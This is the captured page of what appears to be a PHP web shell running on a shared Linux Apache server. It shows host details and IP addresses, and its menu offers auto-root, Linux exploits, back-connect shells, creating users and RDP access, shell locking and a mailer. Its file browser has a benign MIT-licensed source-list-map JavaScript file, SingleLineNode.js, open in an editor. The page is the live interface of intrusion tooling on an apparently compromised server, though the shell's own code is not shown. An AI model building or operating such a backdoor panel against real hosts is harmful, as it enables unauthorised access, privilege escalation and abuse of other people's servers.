Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
source-list-map /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
CodeNode.js
1.47
KB
-rw-r--r--
MappingsContext.js
972
B
-rw-r--r--
SingleLineNode.js
2.86
KB
-rw-r--r--
SourceListMap.js
3.57
KB
-rw-r--r--
SourceNode.js
3.9
KB
-rw-r--r--
base64-vlq.js
5.25
KB
-rw-r--r--
fromStringWithSourceMap.js
3
KB
-rw-r--r--
helpers.js
464
B
-rw-r--r--
index.js
322
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SingleLineNode.js
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; const base64VLQ = require("./base64-vlq"); const getNumberOfLines = require("./helpers").getNumberOfLines; const getUnfinishedLine = require("./helpers").getUnfinishedLine; const LINE_MAPPING = ";AAAA"; class SingleLineNode { constructor(generatedCode, source, originalSource, line) { this.generatedCode = generatedCode; this.originalSource = originalSource; this.source = source; this.line = line || 1; this._numberOfLines = getNumberOfLines(this.generatedCode); this._endsWithNewLine = generatedCode[generatedCode.length - 1] === "\n"; } clone() { return new SingleLineNode(this.generatedCode, this.source, this.originalSource, this.line); } getGeneratedCode() { return this.generatedCode; } getMappings(mappingsContext) { if(!this.generatedCode) return ""; const lines = this._numberOfLines; const sourceIdx = mappingsContext.ensureSource(this.source, this.originalSource); let mappings = "A"; // generated column 0 if(mappingsContext.unfinishedGeneratedLine) mappings = "," + base64VLQ.encode(mappingsContext.unfinishedGeneratedLine); mappings += base64VLQ.encode(sourceIdx - mappingsContext.currentSource); // source index mappings += base64VLQ.encode(this.line - mappingsContext.currentOriginalLine); // original line index mappings += "A"; // original column 0 mappingsContext.currentSource = sourceIdx; mappingsContext.currentOriginalLine = this.line; const unfinishedGeneratedLine = mappingsContext.unfinishedGeneratedLine = getUnfinishedLine(this.generatedCode) mappings += Array(lines).join(LINE_MAPPING); if(unfinishedGeneratedLine === 0) { mappings += ";"; } else { if(lines !== 0) mappings += LINE_MAPPING; } return mappings; } getNormalizedNodes() { return [this]; } mapGeneratedCode(fn) { const generatedCode = fn(this.generatedCode); return new SingleLineNode(generatedCode, this.source, this.originalSource, this.line); } merge(otherNode) { if(otherNode instanceof SingleLineNode) { return this.mergeSingleLineNode(otherNode); } return false; } mergeSingleLineNode(otherNode) { if(this.source === otherNode.source && this.originalSource === otherNode.originalSource) { if(this.line === otherNode.line) { this.generatedCode += otherNode.generatedCode; this._numberOfLines += otherNode._numberOfLines; this._endsWithNewLine = otherNode._endsWithNewLine; return this; } else if(this.line + 1 === otherNode.line && this._endsWithNewLine && this._numberOfLines === 1 && otherNode._numberOfLines <= 1) { return new SourceNode(this.generatedCode + otherNode.generatedCode, this.source, this.originalSource, this.line); } } return false; } } module.exports = SingleLineNode; const SourceNode = require("./SourceNode"); // circular dependency
Close